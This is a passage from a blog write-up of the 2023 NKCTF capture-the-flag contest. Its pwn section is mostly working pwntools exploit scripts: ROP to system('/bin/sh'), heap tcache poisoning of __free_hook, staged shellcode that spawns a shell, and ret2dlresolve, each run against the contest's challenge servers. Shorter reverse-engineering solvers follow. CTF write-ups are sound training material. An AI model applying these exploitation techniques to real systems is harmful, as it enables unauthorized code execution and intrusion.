print(hex(d))
if debug==1:
libc=ELF("/lib/x86_64-linux-gnu/libc-2.33.so")
libc.address=d-libc.sym[func]
system=libc.sym['system']
bin_sh=next(libc.search(b"/bin/sh\x00"))
gdb.attach(p)
else:
libc=LibcSearcher(func,d)
system=libc.dump('system')
bin_sh=libc.dump('str_bin_sh')


payload=p64(ret)*0x1a+p64(rdi)+p64(bin_sh)+p64(system)+p64(main)
payload+=p64(ret)
payload+=p64(canary)

p.sendlineafter('name: ',b'%41$p')
p.sendafter('NKCTF: ',payload)

p.interactive()
except:

pass
try:
p.close()
except:
pass

baby_heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from pwn import *
e=ELF('./pwn')
context.binary=e
libc=ELF("./libc-2.32.so")
#libc=ELF('/lib/x86_64-linux-gnu/libc-2.33.so')
def add(ind,size):
p.sendlineafter("choice: ",b'1')
p.sendlineafter("index: ",str(ind))
p.sendlineafter('Size: ',str(size))


def free(ind):
p.sendlineafter("choice: ",b'2')
p.sendlineafter("index: ",str(ind))


def edit(ind,data):
p.sendlineafter("choice: ",b'3')
p.sendlineafter("index: ",str(ind))
p.sendafter('content: ',data)


def show(ind):
p.sendlineafter("choice: ",b'4')
p.sendlineafter('index: ',str(ind))

def calc_fd(c,off):
off1=off
off=off
h=hex(c)[2:].strip('L')[::-1]
e=[]
for i in range(0,len(h),3):
e.append(h[i:i+3][::-1])
uh=[]
xc=0
for i in e:
hc=int(i,16)^(xc+(off&0xfff))
xc=hc
off=off>>12
uh.append(hex(hc)[2:].strip('L').zfill(3))
heap_len=len(h)-3
uh=''.join(uh[::-1])[-heap_len:]+'000'
fd=int(uh,16)+off1
return fd

def enc_fd(fd,next_):
return (fd>>12)^next_


#p=process('./pwn')
p=remote('node2.yuzhian.com.cn','32973')

for i in range(9):
add(i,0x88)

for i in range(8):
free(i)

#gdb.attach(p)
#pause()

add(7,0x48)
edit(7,b'\n')
show(7)

pause()
d=u64(p.read(6).ljust(8,b'\x00'))&0xffffffffffffff00
main_area=d-0x60
print(hex(d))
malloc_hook=main_area-0x10
libc.address=malloc_hook-libc.sym['__malloc_hook']
free_hook=libc.sym['__free_hook']
system=libc.sym['system']
for i in range(7):
add(6-i,0x88)
show(1)

heap_1_c=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00'))
heap=calc_fd(heap_1_c,0x2a0)
print(hex(heap))
pause()

pad=b'\x00'*0x58+p64(0x91)+b'\n'
edit(1,pad)
edit(2,pad)
edit(3,pad)

pad1=b'\x00'*0x88+b'\xf1'
edit(0,pad1)
free(1)

add(1,0xe8)
free(3)
free(2)

payload=b'\x00'*0x88+p64(0x91)+p64(enc_fd(heap+0x290+0x90+0x90+0x10,free_hook))+b'\n'
edit(1,payload)

edit(0,b'/bin/sh\x00\n')

add(2,0x88)
add(3,0x88)
edit(3,p64(system)+b'\n')
free(0)



p.interactive()

9961code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context.arch='amd64'

sh="""
syscall
mov rdi,r15
and esi,edi
mov dx,0xf
add eax,0x30
syscall
mov esi,edi
xor edi,edi
jmp rsi
"""

sh1="""
syscall
add edx,0x30
mov ax,0
jmp rsi
"""

sh2="""
syscall
mov edi,0x9961020
xor rsi,rsi
xor rdx,rdx
mov ax,0x3b
syscall"""



print(len(asm(sh)))
#p=process('./pwn')
p=remote("node2.yuzhian.com.cn:32041")
#gdb.attach(p,'bp main+294')
#p=remote("node2.yuzhian.com.cn:30693")
pause()
p.sendafter('shellcode',asm(sh))
pause()
p.sendline(asm(sh1))
pause()
p.sendline(asm(sh2).ljust(0x20,b'\x90')+b'/bin/sh\x00')
p.interactive()

only_read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
import base64

e=ELF('./pwn')
read=0x4013d0
leave=0x4013e7
ret=0x4013e8
from mcrypt import *


c=[b"Welcome to NKCTF!\x00",\
b"tell you a secret:\x00",\
b"I'M RUNNING ON GLIBC 2.31-0ubuntu9.9\x00",\
b"can you find me?\x00"]

#p=process('./pwn')
p=remote("node2.yuzhian.com.cn:31146")
base=b64()
base.setbase("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")
for i in c:
print(i)
p.sendline(base.encode(i))
pause()

rel=0x4005d8
#str_t=0x3ff388
#sym=0x3ff420
sym=0x4003d0
str_t=0x4004c0
bss=0x404900+0xc0*8+0x40+0x20
print(hex(bss))
sym_ind=905
func_got=e.got['memset']

rdi=0x00401683
rel_add=bss+6*0x8+0x18
sym_add=bss+6*0x8
print(hex(rel_add))

gogo=0x401039
#p.interactive()

pad=b'\x00'*0x10
pad_n=3
bin_sh=bss
system=bss+0x28
str_=b'/bin/sh\x00\x00system\x00'
sym_=p32(system-str_t)+p64(12)+p32(0)*3
rel_=p64(bss-0x30)+p32(7)+p32((sym_add-sym)//0x18)+p32(0)*2

#gdb.attach(p,'bp 0x401039')
#pause()
print(hex(rel_add-rel))



payload2=b'\x00'*0x30
payload2+=b"/bin/sh\x00"+p64(rdi)+p64(bin_sh)+p64(gogo)+p64((rel_add-rel)//0x18+1)
payload2+=b"system\x00\x00"
payload2+=sym_+p64(0)*2+rel_


payload=b'a'*0x30+p64(bss)+p64(read)
p.sendline(payload)
pause()

p.sendline(payload2)

p.interactive()

note

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *

def add(ind,size,data=" "):
p.sendlineafter("choice: ",'1')
p.sendlineafter('Index: ',str(ind))
p.sendlineafter('Size: ',str(size))
p.sendafter("Content: ",data)

def edit(ind,data):
p.sendlineafter("choice: ",'2')
p.sendlineafter('Index: ',str(ind))
p.sendlineafter('Size: ',str(len(data)))
p.sendafter("Content: ",data)

def free(ind):
p.sendlineafter("choice: ",'3')
p.sendlineafter('Index: ',str(ind))

def show(ind):
p.sendlineafter("choice: ",'4')
p.sendlineafter('Index: ',str(ind))




e=ELF('./nk_note')
context.binary=e
libc=ELF('./libc.so')

p=remote("node2.yuzhian.com.cn:30946")
#p=process("./nk_note")
#gdb.attach(p)
context.log_level='debug'
show(16)
d=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00'))
print(hex(d))
pause()
add(0,0x500,"/bin/sh\x00")
add(1,0x300)
add(2,0x100)
add(3,0x80)
add(4,0x40)
add(5,0x20)
payload=b'a'*0x10
edit(16,payload)
show(16)
p.readuntil('a'*0x10)
d1=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00'))
print(hex(d1))
e.address=d1-0x4120

func='puts'
func_got=e.got[func]


l=[]
for i in range(0x6B):
payload='a'*i*8
edit(16,payload)
show(16)
data=p.readuntil('\n',drop=1).strip(b'a').ljust(8,b'\x00')
dn=u64(data)
l.append(dn)

print(l)
pause()
payload=flat(l)+p64(e.address+0x4150)
edit(16,payload)
ind=0x26
print(hex(e.address))

add(5,0x40)

edit(5,p64(func_got))
show(ind)
dd=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00'))
print(hex(dd))
libc.address=dd-libc.sym[func]
print(hex(libc.address))
system=libc.sym['system']
print(hex(e.got['free']))
edit(5,p64(e.got['free']))
edit(ind,p64(system))
free(0)
p.interactive()

reverse

ez_baby_apk

使用jadx加雷电模拟器进行调试

PMKF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
a=["1122","3322","1223","2211","0111","1101","0000","0101","1211","0111","2223","2330","3323","2211","1112","2333"]
e=[]
k=b'nkman'
k1=0
for i in k:
k1+=i
k1=k1&0xff
print(k1)
for i in a:
c=''
for j in i:
c+=bin(int(j))[2:].zfill(2)
e.append(int(c,2)^k1)
print((b'\x05'+b'nkman'+bytes(e)).hex())

babyrust

1
2
3
4
5
6
7
8
a=b")&n_qFb'NZXpj)*bLDmLnVj]@^_H"
e=[]
for i in a:
d=(i-0x28+45)^0x30
if d<0x20:
d=d+48
e.append(d)
print(bytes(e))

2023NKCTF-wp
https://www.dr0n.top/posts/50c22730/
作者
dr0n
发布于
2023年3月26日
更新于
2024年3月22日
许可协议